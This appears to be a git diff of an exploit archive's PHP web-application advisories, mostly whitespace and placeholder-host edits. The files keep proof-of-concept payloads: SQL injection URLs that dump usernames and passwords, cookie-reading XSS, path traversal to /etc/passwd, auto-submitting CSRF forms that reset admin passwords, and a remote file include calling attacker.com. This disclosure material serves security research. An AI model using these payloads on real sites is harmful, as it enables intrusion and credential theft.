a/platforms/php/webapps/34207.txt b/platforms/php/webapps/34207.txt index 03cd309b0..a80dd56d1 100755 --- a/platforms/php/webapps/34207.txt +++ b/platforms/php/webapps/34207.txt @@ -4,4 +4,4 @@ Customer Paradigm PageDirector is prone to an SQL-injection vulnerability becaus Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. -http://www.example.com/index.php?id=UniOn+AlL+SelEct+group_concat(username,0x3e,password)+from+admin-- \ No newline at end of file +http://www.example.com/index.php?id=UniOn+AlL+SelEct+group_concat(username,0x3e,password)+from+admin-- \ No newline at end of file diff --git a/platforms/php/webapps/34209.txt b/platforms/php/webapps/34209.txt index 385115852..f956293b3 100755 --- a/platforms/php/webapps/34209.txt +++ b/platforms/php/webapps/34209.txt @@ -7,4 +7,4 @@ Exploiting this issue could allow an attacker to compromise the application, acc The following example data is available: Username: or\'1\'=\'1\' -Password: S.W.T \ No newline at end of file +Password: S.W.T \ No newline at end of file diff --git a/platforms/php/webapps/34214.txt b/platforms/php/webapps/34214.txt index eca40e9a3..4168cdc79 100755 --- a/platforms/php/webapps/34214.txt +++ b/platforms/php/webapps/34214.txt @@ -4,4 +4,4 @@ PHP Bible Search is prone to an SQL-injection vulnerability and a cross-site scr Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. -http://www.example.com/bible.php?string=&book=2&chapter=[XSS] \ No newline at end of file +http://www.example.com/bible.php?string=&book=2&chapter=[XSS] \ No newline at end of file diff --git a/platforms/php/webapps/34216.txt b/platforms/php/webapps/34216.txt index 67864cd7b..288f24cf9 100755 --- a/platforms/php/webapps/34216.txt +++ b/platforms/php/webapps/34216.txt @@ -4,4 +4,4 @@ eBay Clone Script 2010 is prone to an SQL-injection vulnerability because it fai Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. -http://www.example.com/showcategory.php?cid=[sqli] \ No newline at end of file +http://www.example.com/showcategory.php?cid=[sqli] \ No newline at end of file diff --git a/platforms/php/webapps/34217.txt b/platforms/php/webapps/34217.txt index 41d7f7c05..d81019f19 100755 --- a/platforms/php/webapps/34217.txt +++ b/platforms/php/webapps/34217.txt @@ -4,4 +4,4 @@ Clix'N'Cash Clone 2010 is prone to an SQL-injection vulnerability because it fai Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. -http://www.example.com/index.php?view=[sqli] \ No newline at end of file +http://www.example.com/index.php?view=[sqli] \ No newline at end of file diff --git a/platforms/php/webapps/34218.txt b/platforms/php/webapps/34218.txt index a5ed40514..bb1227b87 100755 --- a/platforms/php/webapps/34218.txt +++ b/platforms/php/webapps/34218.txt @@ -6,4 +6,4 @@ Exploiting this issue could allow an attacker to compromise the application, acc V-EVA Classified Script 5.1 is vulnerable; other versions may also be affected. -http://www.example.com/classified_img.php?clsid=[SQLI] \ No newline at end of file +http://www.example.com/classified_img.php?clsid=[SQLI] \ No newline at end of file diff --git a/platforms/php/webapps/34220.txt b/platforms/php/webapps/34220.txt index b3d99e5f1..f41931ec3 100755 --- a/platforms/php/webapps/34220.txt +++ b/platforms/php/webapps/34220.txt @@ -4,4 +4,4 @@ CANDID is prone to an SQL-injection vulnerability and a cross-site scripting vul Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. -http://www.example.com/image/view.php?image_id=[XSS] \ No newline at end of file +http://www.example.com/image/view.php?image_id=[XSS] \ No newline at end of file diff --git a/platforms/php/webapps/34225.txt b/platforms/php/webapps/34225.txt index 6a33f8107..3b986e107 100755 --- a/platforms/php/webapps/34225.txt +++ b/platforms/php/webapps/34225.txt @@ -10,4 +10,4 @@ The following example URIs are available: http://www.example.com/control/abm_list.php3?db=ts_143&tabla=delivery_courier&tabla_det=delivery_costo&order=&ordor=&tit=&transporte=&ira=&pagina=1&det_order=nDeCSer&det_ordor=asc&txtBuscar=&vars=&where=' -http://www.example.com/precios.php3?marca=12' \ No newline at end of file +http://www.example.com/precios.php3?marca=12' \ No newline at end of file diff --git a/platforms/php/webapps/34226.txt b/platforms/php/webapps/34226.txt index 5bf41aaa2..6436e736d 100755 --- a/platforms/php/webapps/34226.txt +++ b/platforms/php/webapps/34226.txt @@ -4,4 +4,4 @@ System CMS Contentia is prone to an SQL-injection vulnerability because it fails Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. -http://www.example.com/news.php?id=[SQLi] \ No newline at end of file +http://www.example.com/news.php?id=[SQLi] \ No newline at end of file diff --git a/platforms/php/webapps/34229.txt b/platforms/php/webapps/34229.txt index c8e7a4bb3..c540699a3 100755 --- a/platforms/php/webapps/34229.txt +++ b/platforms/php/webapps/34229.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow ArcademSX version 2.904 is vulnerable. -http://www.example.com/arcademsx/index.php?cat=[XSS] \ No newline at end of file +http://www.example.com/arcademsx/index.php?cat=[XSS] \ No newline at end of file diff --git a/platforms/php/webapps/34231.txt b/platforms/php/webapps/34231.txt index d6a0de40d..6ad67395c 100755 --- a/platforms/php/webapps/34231.txt +++ b/platforms/php/webapps/34231.txt @@ -6,4 +6,4 @@ An attacker may leverage these issues to execute arbitrary script code in the br LiveZilla 3.1.8.3 is vulnerable; other versions may be affected. -http://www.example.com/livezilla/map.php?lat=%3C/script%3E%3Cscript%3Ealert(%22InterN0T.net%22)%3C/script%3E \ No newline at end of file +http://www.example.com/livezilla/map.php?lat=%3C/script%3E%3Cscript%3Ealert(%22InterN0T.net%22)%3C/script%3E \ No newline at end of file diff --git a/platforms/php/webapps/34232.txt b/platforms/php/webapps/34232.txt index 3a9fb9dee..af1fe9066 100755 --- a/platforms/php/webapps/34232.txt +++ b/platforms/php/webapps/34232.txt @@ -7,4 +7,4 @@ Exploiting these issues could allow an attacker to steal cookie-based authentica The following example URIs are available: http://www.example.com/index.php?q=[SQLI] -http://www.example.com/index.php?q=[XSS] \ No newline at end of file +http://www.example.com/index.php?q=[XSS] \ No newline at end of file diff --git a/platforms/php/webapps/34234.txt b/platforms/php/webapps/34234.txt index 7caaee61c..7433573cd 100755 --- a/platforms/php/webapps/34234.txt +++ b/platforms/php/webapps/34234.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow Flatnux 2010-06.09 is vulnerable; other versions may also be affected. -http://www.example.com/index.php?mod=none_Search&find="><script>alert(1)</script> \ No newline at end of file +http://www.example.com/index.php?mod=none_Search&find="><script>alert(1)</script> \ No newline at end of file diff --git a/platforms/php/webapps/34235.txt b/platforms/php/webapps/34235.txt index e731608c8..f7f1d123c 100755 --- a/platforms/php/webapps/34235.txt +++ b/platforms/php/webapps/34235.txt @@ -14,4 +14,4 @@ http://www.example.com/revert.php?rev=%3Cscript%3Ealert(0)%3C/script%3E HTML Injection: -<div onmouseover="alert(0)" style="margin:-500px;width:9999px;height:9999px;position:absolute;"></div> \ No newline at end of file +<div onmouseover="alert(0)" style="margin:-500px;width:9999px;height:9999px;position:absolute;"></div> \ No newline at end of file diff --git a/platforms/php/webapps/34236.txt b/platforms/php/webapps/34236.txt index 6632d3ed8..45b0daf23 100755 --- a/platforms/php/webapps/34236.txt +++ b/platforms/php/webapps/34236.txt @@ -4,4 +4,4 @@ ReCMS is prone to a directory-traversal vulnerability because it fails to suffic Exploiting this issue may allow an attacker to obtain sensitive information that could aid in further attacks. -http://www.example.com/state.php?data=country&val=italia&users_lang=[DT] \ No newline at end of file +http://www.example.com/state.php?data=country&val=italia&users_lang=[DT] \ No newline at end of file diff --git a/platforms/php/webapps/34239.txt b/platforms/php/webapps/34239.txt index 04ba93537..af70ca7b6 100755 --- a/platforms/php/webapps/34239.txt +++ b/platforms/php/webapps/34239.txt @@ -43,7 +43,7 @@ $l = $_GET['log']; $query = mysql_query("SELECT * FROM ".$prefix."logs WHERE id = '".$l."'"); $result = mysql_fetch_array($query) or die(mysql_error()); -- PoC: server/s2kdir/admin/options/logs.php?log=[sqli] +- PoC: site.com/s2kdir/admin/options/logs.php?log=[sqli] Use CVE-2014-5089. @@ -86,9 +86,9 @@ announcement when the backdoor was found (good job). in the file /includes/functions.php: eval($_GET['multies']); -server/s2k/includes/functions.php?multies=inject_php_code here +site.com/s2k/includes/functions.php?multies=inject_php_code here -PoC: server/s2k/includes/functions.php?multies=echo 'foobar'; +PoC: site.com/s2k/includes/functions.php?multies=echo 'foobar'; Use CVE-2014-5091. diff --git a/platforms/php/webapps/34250.txt b/platforms/php/webapps/34250.txt index 4b5c2e689..b1f2df144 100755 --- a/platforms/php/webapps/34250.txt +++ b/platforms/php/webapps/34250.txt @@ -8,4 +8,4 @@ An attacker can exploit the local file-include vulnerability using directory-tra Canteen 1.0 is vulnerable; other versions may also be affected. -http://www.example.com/index.php?option=com_canteen&controller=../../../../../etc/passwd%00 \ No newline at end of file +http://www.example.com/index.php?option=com_canteen&controller=../../../../../etc/passwd%00 \ No newline at end of file diff --git a/platforms/php/webapps/34252.txt b/platforms/php/webapps/34252.txt index 8d76a89c2..2402fefb8 100755 --- a/platforms/php/webapps/34252.txt +++ b/platforms/php/webapps/34252.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow i-Net Solution Matrimonial Script 2.0.3 is vulnerable; other versions may also be affected. -http://www.example.com/products/shaadi/alert.php?id=%3Cscript%3Ealert(/XSS/)%3C/script%3E \ No newline at end of file +http://www.example.com/products/shaadi/alert.php?id=%3Cscript%3Ealert(/XSS/)%3C/script%3E \ No newline at end of file diff --git a/platforms/php/webapps/34253.txt b/platforms/php/webapps/34253.txt index 989650339..e6a50a42f 100755 --- a/platforms/php/webapps/34253.txt +++ b/platforms/php/webapps/34253.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow Orbis CMS 1.0.2 is vulnerable; other versions may also be affected. -http://www.example.com/admin/editors/text/editor-body.php?s=%22%3E%3Cscript%3Ealert(0)%3C/script%3E \ No newline at end of file +http://www.example.com/admin/editors/text/editor-body.php?s=%22%3E%3Cscript%3Ealert(0)%3C/script%3E \ No newline at end of file diff --git a/platforms/php/webapps/34266.txt b/platforms/php/webapps/34266.txt index da956ce53..8ce960b07 100755 --- a/platforms/php/webapps/34266.txt +++ b/platforms/php/webapps/34266.txt @@ -9,4 +9,4 @@ RunCms 2.1 is vulnerable; other versions may also be affected. The following example request is available: wget --user-agent=" -" http://www.example.com/modules/forum/check.php \ No newline at end of file +" http://www.example.com/modules/forum/check.php \ No newline at end of file diff --git a/platforms/php/webapps/3428.txt b/platforms/php/webapps/3428.txt index 091816ede..b5c8a6df4 100755 --- a/platforms/php/webapps/3428.txt +++ b/platforms/php/webapps/3428.txt @@ -1,4 +1,4 @@ -.-""""""""-. + .-""""""""-. / Dj7xpl \ | | |, .-. .-. ,| diff --git a/platforms/php/webapps/34280.txt b/platforms/php/webapps/34280.txt index 0117a164d..a2f142e5f 100755 --- a/platforms/php/webapps/34280.txt +++ b/platforms/php/webapps/34280.txt @@ -12,4 +12,4 @@ http://www.example.com/cms/module.php?mod=Search&query=%3Cscript%3Ealert%280%29% http://www.example.com/cms/module.php/Products/%22%3E%3Cscript%3Ealert%280%29%3C/script%3E -http://www.example.com/cms/cms_admin/index.php?mod=%3Cscript%3Ealert%280%29%3C/script%3E&action=setup \ No newline at end of file +http://www.example.com/cms/cms_admin/index.php?mod=%3Cscript%3Ealert%280%29%3C/script%3E&action=setup \ No newline at end of file diff --git a/platforms/php/webapps/34282.txt b/platforms/php/webapps/34282.txt index 9bf6cfe3c..d3bef4c52 100755 --- a/platforms/php/webapps/34282.txt +++ b/platforms/php/webapps/34282.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow Real Estate Manager 1.0.1 is vulnerable; other versions may also be affected. -http://www.example.com/index.php?lang=[XSS] \ No newline at end of file +http://www.example.com/index.php?lang=[XSS] \ No newline at end of file diff --git a/platforms/php/webapps/34283.txt b/platforms/php/webapps/34283.txt index c49e5b7ee..f0e6ade6e 100755 --- a/platforms/php/webapps/34283.txt +++ b/platforms/php/webapps/34283.txt @@ -4,4 +4,4 @@ Model Agency Manager is prone to a cross-site scripting vulnerability because it An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks. -http://www.example.com/search_process.php?searchtype="/><script>alert('XSS')</script> \ No newline at end of file +http://www.example.com/search_process.php?searchtype="/><script>alert('XSS')</script> \ No newline at end of file diff --git a/platforms/php/webapps/34284.txt b/platforms/php/webapps/34284.txt index dd515365a..6f41e77fb 100755 --- a/platforms/php/webapps/34284.txt +++ b/platforms/php/webapps/34284.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow osCSS version 1.2.2 is vulnerable; other versions may also be affected. -http://www.example.com/admin/currencies.php?page=1"><script>alert(document.cookie)</script>&cID=1 \ No newline at end of file +http://www.example.com/admin/currencies.php?page=1"><script>alert(document.cookie)</script>&cID=1 \ No newline at end of file diff --git a/platforms/php/webapps/34285.txt b/platforms/php/webapps/34285.txt index e122ab979..6f7827ea4 100755 --- a/platforms/php/webapps/34285.txt +++ b/platforms/php/webapps/34285.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow ArticleMS 2.0 is vulnerable; other versions may also be affected. -http://www.example.com/search/?a=search&q=PACKETDEATH&advanced=1&sortby=0&finddate=0&c[]=[XSS] \ No newline at end of file +http://www.example.com/search/?a=search&q=PACKETDEATH&advanced=1&sortby=0&finddate=0&c[]=[XSS] \ No newline at end of file diff --git a/platforms/php/webapps/34287.txt b/platforms/php/webapps/34287.txt index a713a3261..b49564258 100755 --- a/platforms/php/webapps/34287.txt +++ b/platforms/php/webapps/34287.txt @@ -7,4 +7,4 @@ An attacker can exploit these issues to execute arbitrary commands within the co Yappa 3.1.2 is vulnerable; other versions may also be affected. http://www.example.com/yappa/yappa.php?thedir=[ command you ] -http://www.example.com/yappa/yappa.php?image=[ command you] \ No newline at end of file +http://www.example.com/yappa/yappa.php?image=[ command you] \ No newline at end of file diff --git a/platforms/php/webapps/34289.txt b/platforms/php/webapps/34289.txt index ac600c014..6404d0532 100755 --- a/platforms/php/webapps/34289.txt +++ b/platforms/php/webapps/34289.txt @@ -4,4 +4,4 @@ Web Cocoon simpleCMS is prone to an SQL-injection vulnerability because it fails Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. -http://www.example.com/content/post/show.php?id=xek' union select null,concat_ws(0x3a,username,password),null,null,n ull,null,null,null,null,null,null,null,null,null,n ull,null from user -- &mode=post&gfile=show \ No newline at end of file +http://www.example.com/content/post/show.php?id=xek' union select null,concat_ws(0x3a,username,password),null,null,n ull,null,null,null,null,null,null,null,null,null,n ull,null from user -- &mode=post&gfile=show \ No newline at end of file diff --git a/platforms/php/webapps/34291.txt b/platforms/php/webapps/34291.txt index d44a89f50..cd2704acc 100755 --- a/platforms/php/webapps/34291.txt +++ b/platforms/php/webapps/34291.txt @@ -6,4 +6,4 @@ Successful exploits will allow attacker-supplied HTML and script code to run in The following example input is available: -">><marquee><h1>XSS3d By Sid3^effects</h1><marquee> \ No newline at end of file +">><marquee><h1>XSS3d By Sid3^effects</h1><marquee> \ No newline at end of file diff --git a/platforms/php/webapps/34292.txt b/platforms/php/webapps/34292.txt index 9871c2718..ac898122e 100755 --- a/platforms/php/webapps/34292.txt +++ b/platforms/php/webapps/34292.txt @@ -10,4 +10,4 @@ The following example URIs are available: http://www.example.com/admin/edit_page.php?page=1[XSS] http://www.example.com/admin/edit_post.php?page=1[XSS] -http://www.example.com/admin/add_post.php?page=1[XSS] \ No newline at end of file +http://www.example.com/admin/add_post.php?page=1[XSS] \ No newline at end of file diff --git a/platforms/php/webapps/34295.txt b/platforms/php/webapps/34295.txt index 8a69bf1f7..05c00a712 100755 --- a/platforms/php/webapps/34295.txt +++ b/platforms/php/webapps/34295.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow RunCms 2.1 is vulnerable; other versions may also be affected. -http://www.example.com/runcms2.1/modules/headlines/magpierss/scripts/magpie_debug.php?url=%3Cscript%3Ealert(0)%3C/script%3E \ No newline at end of file +http://www.example.com/runcms2.1/modules/headlines/magpierss/scripts/magpie_debug.php?url=%3Cscript%3Ealert(0)%3C/script%3E \ No newline at end of file diff --git a/platforms/php/webapps/34296.txt b/platforms/php/webapps/34296.txt index 681654a54..0b946a4e1 100755 --- a/platforms/php/webapps/34296.txt +++ b/platforms/php/webapps/34296.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow CSSTidy 1.3 and ImpressCMS 1.2.1 are vulnerable; other versions may also be affected. -http://localhost/impresscms/plugins/csstidy/css_optimiser.php?url=%22%3E%3Cscript%3Ealert(0)%3C/script%3E \ No newline at end of file +http://localhost/impresscms/plugins/csstidy/css_optimiser.php?url=%22%3E%3Cscript%3Ealert(0)%3C/script%3E \ No newline at end of file diff --git a/platforms/php/webapps/34315.txt b/platforms/php/webapps/34315.txt index 2bd4f31e0..17d7ceacd 100755 --- a/platforms/php/webapps/34315.txt +++ b/platforms/php/webapps/34315.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow The Next Generation of Genealogy Sitebuilding 7.1.2 is vulnerable. -http://www.example.com/searchform.php?msg="/><script>alert('XSS')</script> \ No newline at end of file +http://www.example.com/searchform.php?msg="/><script>alert('XSS')</script> \ No newline at end of file diff --git a/platforms/php/webapps/34317.txt b/platforms/php/webapps/34317.txt index 285b3413d..51d1fbe91 100755 --- a/platforms/php/webapps/34317.txt +++ b/platforms/php/webapps/34317.txt @@ -7,4 +7,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow Automne version 4.0.0rc2 is vulnerable; other versions may also be affected. -http://www.example.com/web/fr/228-recherche.php?q=<input type="Submit" name="Delete" value="ClickMe"onClick="alert(1)"> \ No newline at end of file +http://www.example.com/web/fr/228-recherche.php?q=<input type="Submit" name="Delete" value="ClickMe"onClick="alert(1)"> \ No newline at end of file diff --git a/platforms/php/webapps/34318.txt b/platforms/php/webapps/34318.txt index 4c61cdbb7..f4876d616 100755 --- a/platforms/php/webapps/34318.txt +++ b/platforms/php/webapps/34318.txt @@ -11,4 +11,4 @@ Zeecareers version 2.0 is vulnerable; other versions may also be affected. The following example URI is available: -http://www.example.com/basic_search_result.php?title=[XSS] \ No newline at end of file +http://www.example.com/basic_search_result.php?title=[XSS] \ No newline at end of file diff --git a/platforms/php/webapps/34319.txt b/platforms/php/webapps/34319.txt index 4a7317f63..066a0b60f 100755 --- a/platforms/php/webapps/34319.txt +++ b/platforms/php/webapps/34319.txt @@ -7,4 +7,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow The following example URI is available: -http://www.example.com/ezcart_demo/index.php?action=showcat&cid=1&sid="><script>alert(1)</script> \ No newline at end of file +http://www.example.com/ezcart_demo/index.php?action=showcat&cid=1&sid="><script>alert(1)</script> \ No newline at end of file diff --git a/platforms/php/webapps/34320.txt b/platforms/php/webapps/34320.txt index 37c06514b..e8194538c 100755 --- a/platforms/php/webapps/34320.txt +++ b/platforms/php/webapps/34320.txt @@ -22,4 +22,4 @@ http://www.example.com/admin/template/error_checking.php?upd=del-error&i18n[ER_P http://www.example.com/admin/template/error_checking.php?upd=comp-success&i18n[ER_COMPONENT_SAVE]=[XSS] http://www.example.com/admin/template/error_checking.php?upd=comp-restored&i18n[ER_COMPONENT_REST]=[XSS] http://www.example.com/admin/template/error_checking.php?cancel=test&i18n[ER_CANCELLED_FAIL]=[XSS] -http://www.example.com/admin/template/error_checking.php?err=true&msg=[XSS] \ No newline at end of file +http://www.example.com/admin/template/error_checking.php?err=true&msg=[XSS] \ No newline at end of file diff --git a/platforms/php/webapps/34324.txt b/platforms/php/webapps/34324.txt index abf7dbff8..a4d32d35f 100755 --- a/platforms/php/webapps/34324.txt +++ b/platforms/php/webapps/34324.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow FestOS version 2.3b is vulnerable; other versions may also be affected. -<form action="http://www.example.com/admin/do_snippets_edit.php?tabname=Pages" method="post" name="main" > <input type="hidden" name="snippetID" value="1" /> <input type="hidden" name="title" value="Site footer" /> <input type="hidden" name="active" value="1" /> <input type="hidden" name="contents" value='footer"><script>alert(document.cookie)</script>' /> </form> <script> document.main.submit(); </script> \ No newline at end of file +<form action="http://www.example.com/admin/do_snippets_edit.php?tabname=Pages" method="post" name="main" > <input type="hidden" name="snippetID" value="1" /> <input type="hidden" name="title" value="Site footer" /> <input type="hidden" name="active" value="1" /> <input type="hidden" name="contents" value='footer"><script>alert(document.cookie)</script>' /> </form> <script> document.main.submit(); </script> \ No newline at end of file diff --git a/platforms/php/webapps/34341.txt b/platforms/php/webapps/34341.txt index d96e8946a..8b571615b 100755 --- a/platforms/php/webapps/34341.txt +++ b/platforms/php/webapps/34341.txt @@ -6,4 +6,4 @@ An attacker may leverage these issues to compromise the application, access or m WX-Guestbook version 1.1.208 is affected; other versions may also be affected. -test%') UNION ALL SELECT 1,2,concat(@@version,0x3a,user(),database()),4,5,6,7,8,9,10,11,12/* \ No newline at end of file +test%') UNION ALL SELECT 1,2,concat(@@version,0x3a,user(),database()),4,5,6,7,8,9,10,11,12/* \ No newline at end of file diff --git a/platforms/php/webapps/34349.txt b/platforms/php/webapps/34349.txt index 305a12ce7..eb259dd10 100755 --- a/platforms/php/webapps/34349.txt +++ b/platforms/php/webapps/34349.txt @@ -6,4 +6,4 @@ An attacker can exploit this vulnerability to obtain potentially sensitive infor Yacs CMS 10.5.27 is vulnerable; other versions may be affected. -http://www.example.com/index.php?context[path_to_root]= [inj3ct0r shell] \ No newline at end of file +http://www.example.com/index.php?context[path_to_root]= [inj3ct0r shell] \ No newline at end of file diff --git a/platforms/php/webapps/34351.html b/platforms/php/webapps/34351.html index 17cffecc0..f690969a7 100755 --- a/platforms/php/webapps/34351.html +++ b/platforms/php/webapps/34351.html @@ -6,4 +6,4 @@ Attacker-supplied HTML and script code could run in the context of the affected eUploader PRO 3.1.1 is vulnerable; other versions may also be affected. -<form action="http://www.example.com/admin.php?page=user&id=[ID]" method="post"> <input type="hidden" name="id" value="[ID]"> <input type="hidden" name="admin_access" value="2"> <input type="hidden" name="email" value="my@email.com"> <input type="hidden" name="pass" value="hacked"> <input type="hidden" name="pass2" value="hacked"> <input type="submit" name="edit" value="Submit"> </form> \ No newline at end of file +<form action="http://www.example.com/admin.php?page=user&id=[ID]" method="post"> <input type="hidden" name="id" value="[ID]"> <input type="hidden" name="admin_access" value="2"> <input type="hidden" name="email" value="my@email.com"> <input type="hidden" name="pass" value="hacked"> <input type="hidden" name="pass2" value="hacked"> <input type="submit" name="edit" value="Submit"> </form> \ No newline at end of file diff --git a/platforms/php/webapps/34352.html b/platforms/php/webapps/34352.html index 653a94ed2..759dcd7d6 100755 --- a/platforms/php/webapps/34352.html +++ b/platforms/php/webapps/34352.html @@ -23,4 +23,4 @@ http://www.example.com/recipes/admin/banners.php?searchword="[XSS] http://www.example.com/recipes/admin/banners.php?numitem="[XSS] -<form action="http://www.example.com/recipes/update_profile.php" method="POST"> <input name="first_name" type="text" value="DEMO"> <input name="last_name" type="text" value="USER"> <input name="website" type="text" value="webserver"> <input name="country" type="text" value="Moon State"> <input name="email" type="text" value="our@email.com"> <input type="checkbox" name="subscribed" value="1"> <input type="submit" name="Submit" value="Update"> </form> <form action="http://www.example.com/recipes/admin/adminpass.php" method="POST"> <input type="password" name="AdminPass" value="hacked"> <input type="password" name="cAdminPass" value="hacked"> <input type="submit" name="submit" value="Update Password"> </form> <form action="http://www.example.com/recipes/admin/send_email_users.php" method="POST"> <input type="hidden" name="from_email" value="support@server"> <input type="hidden" name="subject" value="Subject"> <input type="hidden" name="message" value="Free your mind and the ass will follow!"> <input type="hidden" name="emailtype" value=""> <input type="submit" name="Submit" value="Send"> </form> \ No newline at end of file +<form action="http://www.example.com/recipes/update_profile.php" method="POST"> <input name="first_name" type="text" value="DEMO"> <input name="last_name" type="text" value="USER"> <input name="website" type="text" value="website.com"> <input name="country" type="text" value="Moon State"> <input name="email" type="text" value="our@email.com"> <input type="checkbox" name="subscribed" value="1"> <input type="submit" name="Submit" value="Update"> </form> <form action="http://www.example.com/recipes/admin/adminpass.php" method="POST"> <input type="password" name="AdminPass" value="hacked"> <input type="password" name="cAdminPass" value="hacked"> <input type="submit" name="submit" value="Update Password"> </form> <form action="http://www.example.com/recipes/admin/send_email_users.php" method="POST"> <input type="hidden" name="from_email" value="support@site.com"> <input type="hidden" name="subject" value="Subject"> <input type="hidden" name="message" value="Free your mind and the ass will follow!"> <input type="hidden" name="emailtype" value=""> <input type="submit" name="Submit" value="Send"> </form> \ No newline at end of file diff --git a/platforms/php/webapps/34353.txt b/platforms/php/webapps/34353.txt index 70dc70145..c9677fbd3 100755 --- a/platforms/php/webapps/34353.txt +++ b/platforms/php/webapps/34353.txt @@ -7,4 +7,4 @@ Exploiting this issue could allow an attacker to compromise the application, acc SnowFlake CMS 1.0 beta5.2 is vulnerable. -http://www.example.com/page.php?cid=galleries&uid=1+and+1=2+union+select+1,concat%28version%28%29,0x3a,database%28%29, \ No newline at end of file +http://www.example.com/page.php?cid=galleries&uid=1+and+1=2+union+select+1,concat%28version%28%29,0x3a,database%28%29, \ No newline at end of file diff --git a/platforms/php/webapps/34354.txt b/platforms/php/webapps/34354.txt index 8efc03671..3145541ad 100755 --- a/platforms/php/webapps/34354.txt +++ b/platforms/php/webapps/34354.txt @@ -10,4 +10,4 @@ The following example URI's are available: http://www.example.com/tendersystem/main.php?module=../../../../../../../../boot.ini%00.html&function=login -http://www.example.com/tendersystem/main.php?module=session&function=../../../../../../../../boot.ini%00.html \ No newline at end of file +http://www.example.com/tendersystem/main.php?module=session&function=../../../../../../../../boot.ini%00.html \ No newline at end of file diff --git a/platforms/php/webapps/34357.txt b/platforms/php/webapps/34357.txt index def685e28..93f117be0 100755 --- a/platforms/php/webapps/34357.txt +++ b/platforms/php/webapps/34357.txt @@ -6,4 +6,4 @@ An attacker can exploit these vulnerabilities to execute arbitrary script code i Ez FAQ Maker 1.0 is vulnerable; other versions may also be affected. -http://www.example.com/faq/index.php?action=showcat&cid=8&sid="[XSS] \ No newline at end of file +http://www.example.com/faq/index.php?action=showcat&cid=8&sid="[XSS] \ No newline at end of file diff --git a/platforms/php/webapps/3436.txt b/platforms/php/webapps/3436.txt index bda1d408f..8b37f86f4 100755 --- a/platforms/php/webapps/3436.txt +++ b/platforms/php/webapps/3436.txt @@ -54,7 +54,7 @@ When register_globals=on and allow_fopenurl=on an attacker can exploit this vuln Poc/Exploit: ~~~~~~~~~ -http://server/[webo_path]/modules/abook/foldertree.php?baseDir==http://attacker.com/evil? +http://www.target.com/[webo_path]/modules/abook/foldertree.php?baseDir==http://attacker.com/evil? Solution: diff --git a/platforms/php/webapps/34365.txt b/platforms/php/webapps/34365.txt index eb6573066..38a48ec97 100755 --- a/platforms/php/webapps/34365.txt +++ b/platforms/php/webapps/34365.txt @@ -12,4 +12,4 @@ http://www.example.com/site/cont_index.php?cms_id=PAGE_ID"><script>alert(documen <form action="http://www.example.com/cms//edit/tpl_edit_action.php" method="post" name="main" > <input type="hidden" name="action" value="save" /> <input type="hidden" name="value[headline]" value='headl2<img src=x onerror=alert(234)>' /> <input type="hidden" name="winid" value="0" /> </form> <script> document.main.submit(); </script> Second code: <form action="http://www.example.com/cms//edit/tpl_edit_action.php" method="post" name="main" > <input type="hidden" name="action" value="value" /> <input type="hidden" name="tabid" value="headline" /> <input type="hidden" name="winid" value="0" /> </form> <script> document.main.submit(); </script> -<form action="http://www.example.com/cms/edit/tpl_backup_action.php" method="post" name="main" > <input type="hidden" name="action" value="message" /> <input type="hidden" name="text" value='help text<img src=x onerror=alert(document.cookie)>' /> </form> <script> document.main.submit(); </script> \ No newline at end of file +<form action="http://www.example.com/cms/edit/tpl_backup_action.php" method="post" name="main" > <input type="hidden" name="action" value="message" /> <input type="hidden" name="text" value='help text<img src=x onerror=alert(document.cookie)>' /> </form> <script> document.main.submit(); </script> \ No newline at end of file diff --git a/platforms/php/webapps/34366.txt b/platforms/php/webapps/34366.txt index 285d996c4..1d19722d1 100755 --- a/platforms/php/webapps/34366.txt +++ b/platforms/php/webapps/34366.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow The following example URI is available: -http://www.example.com/news/?calendar = "; alert (" ONsec.ru% 20Russian% 20security% 20team \ n \ n "% 2Bdocument.cookie); / / \ No newline at end of file +http://www.example.com/news/?calendar = "; alert (" ONsec.ru% 20Russian% 20security% 20team \ n \ n "% 2Bdocument.cookie); / / \ No newline at end of file diff --git a/platforms/php/webapps/34373.txt b/platforms/php/webapps/34373.txt index ae5b340b0..756063f0f 100755 --- a/platforms/php/webapps/34373.txt +++ b/platforms/php/webapps/34373.txt @@ -14,4 +14,4 @@ Cross site scripting: SQL Injection: -1) http://www.example.com/cms/ua%20where%201=1--%20/ \ No newline at end of file +1) http://www.example.com/cms/ua%20where%201=1--%20/ \ No newline at end of file diff --git a/platforms/php/webapps/34378.txt b/platforms/php/webapps/34378.txt index 71dc19895..50987e75c 100755 --- a/platforms/php/webapps/34378.txt +++ b/platforms/php/webapps/34378.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow DPI version 1.1f is vulnerable; other versions may also be affected. 